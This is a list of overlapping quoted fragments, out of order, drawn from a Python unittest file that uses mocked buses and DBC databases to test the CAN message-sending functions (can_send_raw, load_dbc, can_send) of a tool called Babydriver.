"can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID,",
"load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy of paramters passed",
"be encoded\"\"\" msg_obj = Mock() msg_obj.frame_id = 1 # An error is raised",
"load_dbc raises an Exception if no file is found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception,",
"@patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of parameters passed into can_send_raw\"\"\" # Stores",
"msg_obj.encode.return_value = [1, 2] # Calling bus.send() triggers parameter test can_msg = Mock()",
"self.data = None # pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data =",
"database # dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception, can_send, \"some",
"Babydriver's can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of parameters passed into",
"in can_send.py\"\"\" # pylint: disable=unused-import import unittest from unittest.mock import patch, Mock import",
"can_send_raw raises an Exception if CAN msg fails to send\"\"\" mock_send_message.side_effect = can.CanError",
"methods in can_send.py\"\"\" # pylint: disable=unused-import import unittest from unittest.mock import patch, Mock",
"None self.channel = None # pylint: disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id",
"msg_obj data cannot be encoded\"\"\" msg_obj = Mock() msg_obj.frame_id = 1 # An",
"= Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database mock_get_bus.return_value = can_msg # dbc_database",
"msg_obj data is encoded msg_obj.encode.side_effect = can.CanError database = Mock() database.get_message_by_name.return_value = msg_obj",
"\"\"\"Tests functions in Babydriver's can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of",
"file is found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self,",
"passed into parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0,",
"import patch, Mock import can import cantools import can_util from message_defs import BABYDRIVER_DEVICE_ID",
"passed into can_send_raw match # parameters passed into parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0,",
"\"\"\"Tests that can_send_raw raises an Exception if CAN msg fails to send\"\"\" mock_send_message.side_effect",
"# Checks whether parameters passed into can_send_raw match # parameters passed into parameter_test",
"frame_id attribute and encode function msg_obj = Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value =",
"= None self.data = None # pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id",
"mock_load_file): \"\"\"Tests accuracy of paramters passed into can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id =",
"initialized before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception, can_send, \"some message\") if __name__ == '__main__':",
"is raised when msg_obj data is encoded msg_obj.encode.side_effect = can.CanError database = Mock()",
"initialized before using can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data)",
"an Exception if CAN msg fails to send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id =",
"encode function msg_obj = Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value = [1, 2] #",
"self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send raises an Exception if msg_obj",
"= None self.device_id = None self.channel = None # pylint: disable=missing-docstring def parameter_test(msg_id,",
"self.msg_id = msg_id self.data = data self.device_id = device_id self.channel = channel #",
"mock_load_file.return_value = database # dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception,",
"= Mock() can_msg.send.return_value = 3 can_msg.send.side_effect = parameter_test database = Mock() database.get_message_by_name.return_value =",
"self.data = None self.device_id = None self.channel = None # pylint: disable=missing-docstring def",
"self.device_id = None self.channel = None # pylint: disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID,",
"self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests",
"that can_send_raw raises an Exception if CAN msg fails to send\"\"\" mock_send_message.side_effect =",
"error is raised when msg_obj data is encoded msg_obj.encode.side_effect = can.CanError database =",
"@patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw raises an Exception if CAN msg",
"into can_send_raw\"\"\" # Stores parameters passed into can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id =",
"can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id = None self.data = None self.device_id = None",
"# Calling bus.send() triggers parameter test can_msg = Mock() can_msg.send.return_value = 3 can_msg.send.side_effect",
"\"\"\"Tests accuracy of paramters passed into can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id = None",
"match # parameters passed into parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0, [10, 255, 0],",
"Mock() msg_obj.frame_id = 1 # An error is raised when msg_obj data is",
"can.CanError database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database # dbc_database must",
"time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send raises",
"disable=unused-import import unittest from unittest.mock import patch, Mock import can import cantools import",
"0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel)",
"self.arbitration_id = can_msg.arbitration_id self.data = can_msg.data # Creates mock object with frame_id attribute",
"mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc raises an Exception if no",
"# dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception, can_send, \"some message\")",
"raises an Exception if no file is found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc,",
"= can_msg # dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") can_send(\"some message\",",
"self.data = data self.device_id = device_id self.channel = channel # Checks whether parameters",
"module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of parameters passed into can_send_raw\"\"\" #",
"self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw raises",
"\"\"\"Tests accuracy of parameters passed into can_send_raw\"\"\" # Stores parameters passed into can_util.send_message",
"into can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id = None self.data = None self.device_id =",
"database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database mock_get_bus.return_value = can_msg #",
"Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database mock_get_bus.return_value = can_msg # dbc_database must",
"be initialized before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception, can_send, \"some message\") if __name__ ==",
"message_defs import BABYDRIVER_DEVICE_ID from can_send import can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions",
"dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception, can_send, \"some message\") if",
"patch, Mock import can import cantools import can_util from message_defs import BABYDRIVER_DEVICE_ID from",
"using can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def",
"raises an Exception if msg_obj data cannot be encoded\"\"\" msg_obj = Mock() msg_obj.frame_id",
"can_msg # dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\",",
"= None # pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data = can_msg.data",
"triggers parameter test can_msg = Mock() can_msg.send.return_value = 3 can_msg.send.side_effect = parameter_test database",
"can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self,",
"pylint: disable=attribute-defined-outside-init self.msg_id = None self.data = None self.device_id = None self.channel =",
"Exception if msg_obj data cannot be encoded\"\"\" msg_obj = Mock() msg_obj.frame_id = 1",
"255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None,",
"can_msg = Mock() can_msg.send.return_value = 3 can_msg.send.side_effect = parameter_test database = Mock() database.get_message_by_name.return_value",
"can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of parameters passed into can_send_raw\"\"\"",
"= None self.channel = None # pylint: disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None):",
"msg_obj.encode.side_effect = can.CanError database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database #",
"cantools import can_util from message_defs import BABYDRIVER_DEVICE_ID from can_send import can_send_raw, load_dbc, can_send",
"\"\"\"Tests that load_dbc raises an Exception if no file is found\"\"\" mock_cantools_load_file.side_effect =",
"# pylint: disable=attribute-defined-outside-init self.msg_id = None self.data = None self.device_id = None self.channel",
"mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc raises an Exception if",
"Exception if CAN msg fails to send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id = 0",
"paramters passed into can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id = None self.data = None",
"disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id self.data = data self.device_id",
"can_util from message_defs import BABYDRIVER_DEVICE_ID from can_send import can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase):",
"can.CanError mock_msg_id = 0 mock_data = [0, 0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data)",
"before using can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file')",
"@patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy of paramters passed into can_send\"\"\" #",
"<filename>projects/baby_driver/scripts/test_can_send.py \"\"\"This Module Tests methods in can_send.py\"\"\" # pylint: disable=unused-import import unittest from",
"can import cantools import can_util from message_defs import BABYDRIVER_DEVICE_ID from can_send import can_send_raw,",
"parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10,",
"@patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send raises an Exception if msg_obj data",
"test can_msg = Mock() can_msg.send.return_value = 3 can_msg.send.side_effect = parameter_test database = Mock()",
"and encode function msg_obj = Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value = [1, 2]",
"be initialized before using can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'),",
"must be initialized before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception, can_send, \"some message\") if __name__",
"= 0 mock_data = [0, 0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def",
"import BABYDRIVER_DEVICE_ID from can_send import can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in",
"object with frame_id attribute and encode function msg_obj = Mock() msg_obj.frame_id = 1",
"BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message')",
"= channel # Checks whether parameters passed into can_send_raw match # parameters passed",
"Creates mock object with frame_id attribute and encode function msg_obj = Mock() msg_obj.frame_id",
"function msg_obj = Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value = [1, 2] # Calling",
"@patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc raises an Exception if no file",
"self.channel = None # pylint: disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id =",
"can_send raises an Exception if msg_obj data cannot be encoded\"\"\" msg_obj = Mock()",
"can_msg.send.side_effect = parameter_test database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database mock_get_bus.return_value",
"= 1 # An error is raised when msg_obj data is encoded msg_obj.encode.side_effect",
"# pylint: disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id self.data =",
"255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc raises",
"msg_id self.data = data self.device_id = device_id self.channel = channel # Checks whether",
"mock_msg_id = 0 mock_data = [0, 0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file')",
"is encoded msg_obj.encode.side_effect = can.CanError database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value =",
"unittest.mock import patch, Mock import can import cantools import can_util from message_defs import",
"no file is found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def",
"= can.CanError mock_msg_id = 0 mock_data = [0, 0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id,",
"= msg_obj mock_load_file.return_value = database mock_get_bus.return_value = can_msg # dbc_database must be initialized",
"= device_id self.channel = channel # Checks whether parameters passed into can_send_raw match",
"passed into can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id = None self.data = None #",
"can_send_raw match # parameters passed into parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0, [10, 255,",
"def test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send raises an Exception if msg_obj data cannot",
"into parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id)",
"def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data = can_msg.data # Creates mock object with",
"= data self.device_id = device_id self.channel = channel # Checks whether parameters passed",
"parameter test can_msg = Mock() can_msg.send.return_value = 3 can_msg.send.side_effect = parameter_test database =",
"None # pylint: disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id self.data",
"Mock import can import cantools import can_util from message_defs import BABYDRIVER_DEVICE_ID from can_send",
"import cantools import can_util from message_defs import BABYDRIVER_DEVICE_ID from can_send import can_send_raw, load_dbc,",
"can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message):",
"can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests",
"Stores parameters passed into can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id = None self.data =",
"# pylint: disable=attribute-defined-outside-init self.arbitration_id = None self.data = None # pylint: disable=missing-docstring def",
"= msg_id self.data = data self.device_id = device_id self.channel = channel # Checks",
"parameter_test database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database mock_get_bus.return_value = can_msg",
"from message_defs import BABYDRIVER_DEVICE_ID from can_send import can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests",
"passed into can_send_raw\"\"\" # Stores parameters passed into can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id",
"data is encoded msg_obj.encode.side_effect = can.CanError database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value",
"test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of parameters passed into can_send_raw\"\"\" # Stores parameters passed",
"def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id self.data = data self.device_id =",
"disable=attribute-defined-outside-init self.arbitration_id = None self.data = None # pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id",
"test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw raises an Exception if CAN msg fails to",
"= can_msg.arbitration_id self.data = can_msg.data # Creates mock object with frame_id attribute and",
"database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database # dbc_database must be initialized before using",
"is found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus,",
"that load_dbc raises an Exception if no file is found\"\"\" mock_cantools_load_file.side_effect = can.CanError",
"self.msg_id) self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message):",
"device_id self.channel = channel # Checks whether parameters passed into can_send_raw match #",
"of parameters passed into can_send_raw\"\"\" # Stores parameters passed into can_util.send_message # pylint:",
"3 can_msg.send.side_effect = parameter_test database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database",
"= Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value = [1, 2] # Calling bus.send() triggers",
"# Creates mock object with frame_id attribute and encode function msg_obj = Mock()",
"None self.data = None # pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data",
"of paramters passed into can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id = None self.data =",
"0 mock_data = [0, 0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self,",
"None # pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data = can_msg.data #",
"self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw raises an Exception if CAN",
"into can_send_raw match # parameters passed into parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0, [10,",
"can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's can_send module\"\"\" @patch('can_util.send_message') def",
"Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database # dbc_database must be initialized before",
"0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc",
"self.msg_id = None self.data = None self.device_id = None self.channel = None #",
"# dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20)",
"pylint: disable=attribute-defined-outside-init self.arbitration_id = None self.data = None # pylint: disable=missing-docstring def parameter_test(can_msg):",
"Exception if no file is found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file')",
"data cannot be encoded\"\"\" msg_obj = Mock() msg_obj.frame_id = 1 # An error",
"[0, 0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that",
"BABYDRIVER_DEVICE_ID from can_send import can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's",
"self.arbitration_id = None self.data = None # pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id =",
"Calling bus.send() triggers parameter test can_msg = Mock() can_msg.send.return_value = 3 can_msg.send.side_effect =",
"[1, 2] # Calling bus.send() triggers parameter test can_msg = Mock() can_msg.send.return_value =",
"# parameters passed into parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID,",
"self.channel = channel # Checks whether parameters passed into can_send_raw match # parameters",
"if CAN msg fails to send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id = 0 mock_data",
"# pylint: disable=unused-import import unittest from unittest.mock import patch, Mock import can import",
"parameters passed into can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id = None self.data = None",
"mock_data = [0, 0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file):",
"pylint: disable=unused-import import unittest from unittest.mock import patch, Mock import can import cantools",
"# pylint: disable=missing-docstring def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data = can_msg.data # Creates",
"mock_get_bus, mock_load_file): \"\"\"Tests accuracy of paramters passed into can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id",
"@patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy of paramters passed into can_send\"\"\"",
"disable=attribute-defined-outside-init self.msg_id = None self.data = None self.device_id = None self.channel = None",
"# Stores parameters passed into can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id = None self.data",
"\"\"\"This Module Tests methods in can_send.py\"\"\" # pylint: disable=unused-import import unittest from unittest.mock",
"= [0, 0, 255] self.assertRaises(Exception, can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests",
"msg_obj.frame_id = 1 msg_obj.encode.return_value = [1, 2] # Calling bus.send() triggers parameter test",
"\"\"\"Tests that can_send raises an Exception if msg_obj data cannot be encoded\"\"\" msg_obj",
"found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file):",
"mock_send_message.side_effect = parameter_test can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255,",
"dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1,",
"import can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's can_send module\"\"\" @patch('can_util.send_message')",
"None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def",
"disable=missing-docstring def parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data = can_msg.data # Creates mock object",
"Checks whether parameters passed into can_send_raw match # parameters passed into parameter_test mock_send_message.side_effect",
"when msg_obj data is encoded msg_obj.encode.side_effect = can.CanError database = Mock() database.get_message_by_name.return_value =",
"message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests that",
"parameters passed into can_send_raw\"\"\" # Stores parameters passed into can_util.send_message # pylint: disable=attribute-defined-outside-init",
"msg_obj.frame_id = 1 # An error is raised when msg_obj data is encoded",
"\"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy of paramters passed into",
"self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw raises an Exception if",
"class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests",
"0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw",
"msg_obj mock_load_file.return_value = database mock_get_bus.return_value = can_msg # dbc_database must be initialized before",
"from can_send import can_send_raw, load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's can_send",
"= database mock_get_bus.return_value = can_msg # dbc_database must be initialized before using can_send",
"passed into can_util.send_message # pylint: disable=attribute-defined-outside-init self.msg_id = None self.data = None self.device_id",
"# An error is raised when msg_obj data is encoded msg_obj.encode.side_effect = can.CanError",
"= 3 can_msg.send.side_effect = parameter_test database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value =",
"parameter_test(can_msg): self.arbitration_id = can_msg.arbitration_id self.data = can_msg.data # Creates mock object with frame_id",
"def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw raises an Exception if CAN msg fails",
"parameters passed into can_send_raw match # parameters passed into parameter_test mock_send_message.side_effect = parameter_test",
"import can import cantools import can_util from message_defs import BABYDRIVER_DEVICE_ID from can_send import",
"self.device_id = device_id self.channel = channel # Checks whether parameters passed into can_send_raw",
"TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy",
"CAN msg fails to send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id = 0 mock_data =",
"= None # pylint: disable=missing-docstring def parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id",
"[10, 255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id)",
"= Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database # dbc_database must be initialized",
"mock_send_message): \"\"\"Tests accuracy of parameters passed into can_send_raw\"\"\" # Stores parameters passed into",
"import can_util from message_defs import BABYDRIVER_DEVICE_ID from can_send import can_send_raw, load_dbc, can_send class",
"can_msg.data # Creates mock object with frame_id attribute and encode function msg_obj =",
"def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of parameters passed into can_send_raw\"\"\" # Stores parameters",
"= parameter_test can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID, None) self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0],",
"channel=None): self.msg_id = msg_id self.data = data self.device_id = device_id self.channel = channel",
"self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self, mock_send_message): \"\"\"Tests that can_send_raw raises an Exception",
"database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database # dbc_database must be",
"load_dbc, can_send class TestCanSendRaw(unittest.TestCase): \"\"\"Tests functions in Babydriver's can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self,",
"test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc raises an Exception if no file is found\"\"\"",
"whether parameters passed into can_send_raw match # parameters passed into parameter_test mock_send_message.side_effect =",
"that can_send raises an Exception if msg_obj data cannot be encoded\"\"\" msg_obj =",
"= can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy",
"fails to send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id = 0 mock_data = [0, 0,",
"cannot be encoded\"\"\" msg_obj = Mock() msg_obj.frame_id = 1 # An error is",
"mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests",
"to send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id = 0 mock_data = [0, 0, 255]",
"can_send.py\"\"\" # pylint: disable=unused-import import unittest from unittest.mock import patch, Mock import can",
"= parameter_test database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database mock_get_bus.return_value =",
"= database # dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception, can_send,",
